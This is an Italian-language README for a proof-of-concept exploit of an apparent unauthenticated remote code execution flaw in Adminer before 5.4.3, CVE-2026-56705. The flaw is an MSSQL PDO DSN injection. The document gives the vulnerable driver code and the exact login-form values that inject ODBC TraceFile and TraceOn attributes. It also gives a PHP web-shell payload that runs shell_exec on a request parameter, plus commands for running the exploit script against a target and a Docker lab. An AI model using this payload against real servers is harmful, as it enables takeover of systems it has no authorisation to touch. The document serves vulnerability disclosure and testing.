
PoC exploit per Adminer < 5.4.3 RCE non autenticata tramite iniezione PDO DSN di MSSQL, incluso laboratorio Docker e test negativo.
| CVE | CVE-2026-56705 |
| GHSA | GHSA-r4x9-5m63-3vxw (avviso del fornitore) / GHSA-34q8-53jm-qc2r (database GitHub) |
| Prodotto | Adminer (strumento di gestione database PHP a file singolo) |
| Versioni interessate | Adminer < 5.4.3 con pdo_sqlsrv + driver ODBC Microsoft per SQL Server |
| Corretto in | 5.4.3 |
| CVSS | 9.8 Critico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Tipo | CWE-20 → scrittura arbitraria di file non autenticata → RCE |
Adminer non riesce a sanificare il campo server fornito dall'utente prima di costruire il
DSN PDO per le connessioni MSSQL:
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
I punti e virgola in server vengono trattati come delimitatori di attributi di connessione ODBC, quindi un
attaccante non autenticato può aggiungere attributi arbitrari al DSN — inclusi
TraceFile e TraceOn. La funzionalità di traccia unixODBC scrive la stringa di connessione completa
(con UID={username} letterale) in TraceFile prima e indipendentemente dal
successo del tentativo di connessione. Iniettare codice PHP tramite il campo username
e puntare TraceFile nella root web produce una web shell.
È sufficiente un singolo POST di login non autenticato. Nessuna credenziale valida, nessuna interazione con l'utente.
auth[driver] = mssql
auth[server] = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1UID={<?php ... ?>} in /var/www/shell.phpGET /shell.php?c=id → il comando viene eseguito# solo fingerprint
python3 poc.py --target http://target/adminer.php --check
# exploit completo (scrive <random>.php nella root web)
python3 poc.py --target http://target/adminer.php --command "id"
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id
L'immagine di laboratorio rispecchia esattamente i prerequisiti dell'avviso: php:8.3-cli +
pdo_sqlsrv (pecl) + msodbcsql18, root web scrivibile dal processo PHP.
mssql, oppure eliminare
; (e spazi bianchi) dai valori server forniti dall'utente tramite un reverse proxy.L'avviso del fornitore attribuisce la scoperta congiuntamente al segnalatore e a Yashar Shahinzadeh (@voorivex).
PoC e laboratorio: Hamza Cagrici (@Boreas37)
| Data | Evento |
|---|---|
| 2026-08-25 | CVE pubblicato / corretto in Adminer 5.4.3 |